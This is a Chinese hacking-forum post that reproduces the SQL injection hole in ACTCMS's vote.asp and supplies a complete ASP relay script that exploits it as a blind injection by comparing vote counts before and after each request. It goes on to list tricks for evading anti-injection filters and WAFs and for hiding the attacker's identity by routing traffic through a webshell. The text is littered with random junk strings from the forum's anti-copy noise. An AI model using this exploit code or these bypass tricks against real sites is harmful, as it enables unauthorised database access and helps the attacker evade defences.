找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1971|回复: 0
打印 上一主题 下一主题

注入中转的高级应用,actcms漏洞以及其他

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-6 21:13:20 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
3 ^4 ?  l( [# I5 x
看到ninty大牛的blog的一篇文章
/ r8 p) b% L% s4 v0 U+ L4 m2 v) _链接标记[url]http://www.forjj.com/?action=show&id=80[/url]
: i9 r: |$ s5 \/ L/ K+ W关于actcms漏洞的利用  by 3x qq:381862589
  j! b" o, |' f+ z转载请注明以上
, h( ~- c2 K) @! u$ I0 }( n漏洞文件:
5 i  D9 S9 k" W/plus/vote/vote.asp/ r" P9 r6 o2 K2 E" x( U" j8 P
代码: 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then   
  y8 l5 G# g6 ~3 i- B/ l+ O
3 d/ g9 a  e  Q+ y1 C/ J0 x2    response.write "<script>alert('请选择投票项目。');window.close()</script>"   ; ?7 x. \: Y6 f2 R. j5 Q& @
' J; U. n( j: c; C' [  l' K
3    response.end   
! U6 {) R7 w" W2 s7 k8 s# T) d# C" l- j
4    end if    # `3 h% f# q  F5 F. ^
. s/ A4 z& V% C6 N. _! @
5    for i=1 to request("voted").count   
+ d  `, p. D, m8 |2 g: ]) p& F/ K0 }4 w, c9 v2 g
6    actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))   
& N1 k6 v8 u* \' x  y) p* m6 F1 b1 Y" K  ?
7    next      ~# V2 K& Z' o' @+ u

( b, c) q- V- p& A  {8....    9 [1 M: N' Y% O! o

# d# r, c# M; R8 X, V9response.Redirect "index.asp?id="&id&""   
% c! O: F5 h' Y. F- L2 h. x投票结束回跳转回index.asp这个投票结果页面3 E) ]7 f6 o( A2 o% ~
如果投票成功票数加1
/ w' s2 M# D$ ^0 v2 ^            失败票数不变! F; f4 j* M; _4 W; f5 `0 F
如图:, H. N8 @8 v+ h4 X. X$ h. [8 T
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)" }' m! J* \% s2 R( R6 {( f+ @& u
$ P/ i: J& i! `" X7 ]. b
2009-12-27 13:202 W: V8 U; b2 D; ^7 O

. I- O5 T3 `0 P! f; H4 D9 g利用这点来注入,由于ninty大牛学java的,但是java运行环境实在是。。。。不说了
3 c8 |% q( V3 ~3 X% w0 R( J: w& W: I, j5 u6 {* S; }% F2 T4 {
本帖隐藏的内容需要回复才可以浏览
4 O3 O% u6 G. `4 b, @' D我们用注入中转来实现这个注入具体代码如下:
0 H  T3 r# Q6 Q2 ]先用寂寞的刺猬大牛的注入中转生成jmget.asp
' L+ g' h' J3 ^  u* T+ \* H' l注入地址:http://localhost/actcms/plus/vote/vote.asp. r: E- Y; J" x( s; a2 y$ O7 C
注入键值:id=1&voted=-1 or 1=                                            '这里这样换的话就有学问了,不用去判断有什么投票选项
1 {0 P# _( P  ]! I$ s' {) R- n! u" @
然后进行修改变成如下代码: 链接标记预览源代码 链接标记打印链接标记关于01<% , [( N# d7 n5 X: e7 {0 f# S( B5 M

" j9 C1 ~! d! b6 K  p02JmdcwName=request("jmdcw")
7 E+ `( y+ u7 |9 @" L9 u, V! l# |3 J; e5 j  [7 `
03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T] ; J' d' r, [% g: k& ]

, z, j9 |- _: H# @/ H: }7 B- M04JmStr="id=1&voted=-1 or 1="&JmdcwName
; J9 F/ B0 Q( {+ e  O- \
: V- |2 f2 V1 M5 J05JmStr=URLEncoding(JmStr)
: ?8 H2 `! k- z2 i/ j2 E1 O
9 ^3 _$ ]$ O7 k- o. ^' Q( L06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"
8 C# x; v, K7 X# H# [( r
% W5 `' p; R* F9 T7 K07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"
+ m$ e0 [$ P- d; W9 c4 X$ e
1 e# K4 E+ s+ Y3 i" i; d5 l" Y8 |08testurl=testurl & "?" & JmStr & {) X; W" x# t$ x: ?8 I$ `1 \
) l$ ?2 @: A2 e
09JMUrl=JMUrl & "?" & JmStr " c! v( H- \  n# K! }

; n8 Z  c: N& b4 r  R- Z% a10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"
. F7 r& V# @0 `# ?% z5 H
4 _  c! u: i$ B9 F3 C4 v( ?11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"
8 A) I6 W5 U8 [5 ~& j
$ t; p1 p7 u7 g% n  H; h$ }0 Q% A12JmCok=replace(JmCok,chr(32),"%20")  7 ?4 @5 t1 @/ X, a. x" j% V8 n
3 S, r- t, h4 }' Z1 o2 m: V
13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数
) z; q4 l' [- _8 Z4 _& Q; x' L! S
% ?" t" ?0 s( S% F& l14  4 P( b/ ?! m8 l0 R, `  I# ^

) G9 C8 I$ @' y15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票 6 U% u! U) F; j
1 x% D4 o0 c' B4 U' ~% e4 x  h
16  & ~+ w; I, g% F" m0 D
+ D% O$ L6 W: h5 e! l2 ~. X  s
17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录
" Z# r9 e2 h" d. N# |' ]7 H  L$ ?9 {9 s: K  x
18response.write test1&""&test2&""; L8 R9 F; a' X* g' r
" p1 |2 f! A7 X! ^1 G+ |
19  
8 I1 s' k& w+ C+ h' q
) I5 X' U0 J$ i' h20if test1=test2 then '如前后记录相等,表示失败
2 j1 a" I; p" f4 g* s
, |! o" c2 d( @& o21  response.write "failed"4 L, H# U2 A: v. @0 ^7 r# f& S0 Q7 n

9 w/ {6 X8 [- S7 B* j+ }22else
' v, S& ?3 T! o' ?* R
* {- h9 Z, d8 G/ L$ ]6 B7 Q# E# m( ^' @23  response.write "succeed"/ h( U, @" m3 i+ o6 E

4 a) m% @& R) n9 v. n5 Y7 U% f24end if  $ ?8 X) g+ x% g3 B* X4 e

  k% a: ]* P1 B  `4 v/ P25  
  r. |6 i9 z! L) R
) ~- J' _7 }! l' W0 a26response.write "by 3x"0 j; v6 }" U% w4 F$ r
+ @' ?; }, P+ N7 j& w% j
27  # j# @8 ]  Z+ {  u

# Z8 X7 y4 A$ }/ Z7 e% T28  ( K7 y) Q; I, F* u
. I/ [, `( g" k* g1 S  m7 _' C
29Function PostData(PostUrl,PostStr,PostCok,PostRef)   8 g6 t, m' C0 `. Y% R8 M7 o

4 w3 E8 J: e# _30Dim Http 6 y+ H7 i! Y' e4 v9 M# L$ h9 i
0 ~. K& @: P! i& [; Q: b4 X) z
31Set Http = Server.CreateObject("msxml2.serverXMLHTTP") : ~0 q, }, w7 b) `, N5 @9 ?* W
; l$ |& |+ j1 u: V4 p+ b8 R( J
32With Http
$ g3 M; J  x( X' L- j
" l" p* }( \8 ?% J0 c33  - L2 f1 ^( c" G; m* m

! \% P4 W; t" d- @- O- {$ O34.Open "GET",PostUrl,False
% i" g' ~0 K" V( V7 i* Q" d6 U
35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"5 T! b; q# n4 _' v7 A7 c, Z4 n% p5 h

9 R0 Q3 f# C5 `4 i36.SetRequestHeader "Referer",PostRef
9 e. k9 g) N& j4 l% f% l+ G0 `9 H6 U
2 p4 J3 B4 q) O  \5 e6 W/ ?37.SetRequestHeader "Cookie",PostCok
* `6 O" f+ W. [1 B3 y  F) \+ a4 M4 Z# |* d5 M
38.Send ()
5 X8 L" K/ Q& A8 ~8 e
% e; S+ B! I' S; d39PostData = .ResponseBody # E8 K6 \& Q4 W4 R' ~
6 _  R& A* S% g' h. E$ V  l! t* X# [
40End With/ A* N6 [/ C  q& M7 k) @
$ A2 c! b" K* ~1 B+ G- u
41Set Http = Nothing
$ F- B+ P$ I1 d% d8 N
& D9 D  @$ N5 U% |% L42PostData =bytes2BSTR(PostData) # I: `* m- O. A- u/ f- h

- ?5 P4 i3 _  W. X5 [" y- n$ s" v43End Function
) ~% O7 q* T* X' R, J5 {2 }9 Y) I; P5 H* C9 m+ Q' B  B
44  + C) q  Q% A- ?3 e9 @! v9 [

8 n+ {- s- ?* k# O0 Z. P. y45  9 K+ k+ U, Y4 Q3 T1 ?
1 C2 w- }+ M) _: T1 ^
46Function bytes2BSTR(vIn)
/ P5 g; e4 n& d8 S# l- L9 [+ [4 c0 t# P% {6 @$ l0 _. ?; u
47Dim strReturn
% c. \; ]! [/ ]2 }; b2 V7 r- F! n/ M/ x0 u5 j0 \: l; }
48Dim I, ThisCharCode, NextCharCode ! E& g, ~! _2 Z6 x9 \) m  n
) Q4 F1 }6 g( H0 U. ?, h; Z0 ^
49strReturn = ""' Q" a6 f  N* B1 r2 ^9 b
6 z! f; }; `! h8 Y5 b
50For I = 1 To LenB(vIn)
2 E, j$ e; Z5 {0 m  Q' |
5 `) c6 K, o7 z( G. a51ThisCharCode = AscB(MidB(vIn, I, 1))
/ }4 W7 \+ G# o( _3 J9 t8 E! B; w" R! G4 y
52If ThisCharCode < &H80 Then
9 u9 _+ Q2 U/ X; I) z; Y7 z7 T
53strReturn = strReturn & Chr(ThisCharCode) 4 ~+ `& @! T+ r2 y& T0 M
1 N. g$ t( W1 n& Z1 Y2 e
54Else& w" G8 `0 S, J& B+ ~, }' O0 ?
( w- L5 L7 R% v# y  O0 A
55NextCharCode = AscB(MidB(vIn, I + 1, 1)) 9 v& p  i) I& E$ `( \( ?9 A" q
  i/ V( \4 ~: [' X3 ?$ s
56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode)) # P; b, P% F5 Z; G" M2 N
7 K# @2 x$ J0 \$ t$ M
57I = I + 1 7 r3 I& B! ^5 r% f

- k! `' S" K7 H5 z) p% T& J2 Q$ c" d58End If
- T6 B( |' v) J# ]% @3 J! F
  I* m% D1 U) k2 P59Next1 j/ q8 u3 `3 y+ e: }
1 [% q$ x3 d, A  P2 D# Y
60bytes2BSTR = strReturn
, {/ q; y, S" }# b/ S' ^* S3 K
* W! n4 a$ m1 d- G) b8 Z$ u61End Function: c( h1 n. U  o9 M: e

  E( Q5 U# r# s. b62  + p* D: t. y3 x  }' e0 j2 l2 W
2 m1 r; B% h0 r: [" o
63Function URLEncoding(vstrin)  
4 W( c, _+ L$ ~2 {; T8 m' w2 T: d8 U: R
64strReturn=""
: }' ]7 ]8 L! }5 K1 r! M  n
5 u6 V1 {6 }+ C" b65Dim i $ n. i* J: p) T$ `

! Z4 h7 z  x" r- i- g1 M6 ?9 N66For i=1 To Len(vstrin)
0 P0 c! C- X% T4 X. _3 D/ f8 B# y8 V) q( ~* t) N+ q: r
67ThisChr=Mid(vstrin,i,1)
3 M6 _! k7 F" F( v9 x$ u: o$ C. s' p8 F0 {' T
68if Abs(Asc(ThisChr))< &HFF Then  C; V# J% G- R' H3 a

5 A% p' ]0 C$ q6 `69strReturn=strReturn & ThisChr $ c  E" B, V9 _0 j

; t* W- \- `# o70Else( z9 K4 N  K! b0 n
9 |- B: e: v+ I# P/ U0 ~
71InnerCode=Asc(ThisChr) 2 E* ^- _1 i* B0 t6 ]

) v: a1 V  x; n0 ]/ F: O72If InnerCode<0 Then' U9 Z5 Z! L* E) g( P. p# g8 F4 R

) M9 r& P0 o! B0 }$ R- n6 \7 D8 j73InnerCode=InnerCode + &H10000
: R2 @7 @* }. H3 ]' Z: I7 O6 w7 D+ r: k* W3 U) X3 j. p! N
74End If1 ^# G* ^8 A: N1 }0 z+ A5 U, c

, B& J' d( q( U1 {$ l: U$ z75Hight1=(InnerCode And &HFF00) \&HFF
3 o4 D7 R6 A7 s9 m! @  _# e: v( `$ _, [! b! `* s1 ]- ~
76Low1=InnerCode And &HFF ' }# Z! x" y0 x
) f& \4 H* o  O4 N  b7 _  C
77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)
: f: W7 C& b, K6 u
0 V+ z; y* ~1 G/ }& g78End if % ~6 _; y0 M/ b: f% |
! }3 Z8 e; i1 n, W) f( u: }
79Next
, c- }) E- a( }4 K  ?! g) x2 v) V2 {' s
80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20 5 f8 d9 B: _/ K- c" {8 e

3 \, @! ^' Q- Z: x; F4 W81strReturn=Replace(strReturn,chr(43),"%2B")  'JMDCW增加转换+字符 1 K- _9 |( s! O9 b% T
. ?1 d- e2 T9 M( Q0 r8 N3 L. y4 {
82'strReturn=Replace(strReturn,过滤字符,"转换为字符")  '在此增加要过滤的代码 ) ]6 T( J1 S- g& k- v1 Y
/ k' c! P; X! l& ~2 X
83URLEncoding=strReturn ( t8 Z$ X: I& }; U/ M
7 L+ i& ^( A2 P8 n' ?
84End Function
+ `2 ^, N/ A3 c1 r4 Y1 s# T) c6 Q7 U2 A0 ?" m8 j0 _
85  1 B' ?& x+ p; S  i
" g8 _- {% R$ U) j4 Z/ `
86function getSt(body) 5 l1 x8 g0 z+ m; s( o7 z' S/ E

0 h6 g$ z( @. M" O3 e5 r87  startpot=instr(body,"投票人数:")+len("投票人数:")
$ }% O: D3 ^5 M9 k3 P; a, o
& {( U* ?; c( n88  endpot=instr(startpot,body," ")
# H3 o. B# e0 [% f$ i" l, C* R3 e  Q9 d1 p$ u+ k7 }/ u
89  getSt=mid(body,startpot,endpot-startpot)
/ {8 Y* {2 r6 d
6 p' X& z# |0 H; P( f8 X- E0 U90end function
+ _5 y1 C0 X& D5 `* [
4 T4 c! w- H3 g& t* O91%>
5 W, w- T5 P' g: u% ]  ]9 M$ U( Y注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了
2 _% b) u. Z5 C测试下效果:, n- b( u2 K7 r" o) k% D) F5 x
投票成功:: X% C6 h, v: @8 ^3 E6 l  R1 K
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)
0 z- j5 @% ^3 T* ]- P
5 M. L" h* Y; b/ @' \9 a5 o+ N2009-12-27 13:29* L# \, \& b- _! {( Q  a. J3 Z# f
投票失败! u0 V1 j2 ^$ e! X& G
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)7 R4 y" r3 P( Y$ B
# Q, p2 u7 t+ O8 l5 B
2009-12-27 13:29
6 u$ a3 C; P% m-------------------------------------------------------------------------------
! Q$ }8 M  Q6 D6 T& O再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因,明小子等注入工具是多线程的,而这个投票人数的变量没进行锁的机制。。。所以
2 [* N: j5 W0 ~6 Q5 F, d5 e% t很抱歉。。。只能用单线程工具去注入。。。。。9 R& E- V/ I: Q/ ^7 M. T6 N/ i
所以失败。。。不好意思。。。
* J2 ?5 Z/ B- X5 r, X-------------------------------------------------------------------------------
# \1 j# p9 V- @/ D$ N, h& u1 ]- d
* C8 P) O5 K3 \注入中转的一些其他应用
2 e& K# K$ I6 b& ~! a* n其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了, ^. ~6 o3 B0 q( l. Y- v# a
1.普通的get型的注入点如果中转一下,放到我们的webshell上跑,有效的隐藏我们的id; b- o! E' R1 P
2.post注入转成get型的注入,方便我们使用工具来跑& h& L  J+ H0 v; w
3.在一些cms或者一流拦截系统,过滤了selelct等关键词,这里的过滤指的是replace,我们可以在代码中进行转化,replace(jmstr,"select","sselectelect"),这样我们就可以用工具了,对于一流拦截的突破就replace(jmstr,"%20","%09"). |+ G2 H% J$ d. p. B
4.在某些防注入系统中的突破,上次我遇到一个防注入,大家应该也很熟悉,可以通过id--->%69d来绕过,但是如果是post的呢?我把他中转成get型的,但是注入键值我改成%69d=,成功绕过
1 K8 k5 I: d  R) S+ T4 F" F2 }; v% i8 O% Q7 n+ q) [6 _
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表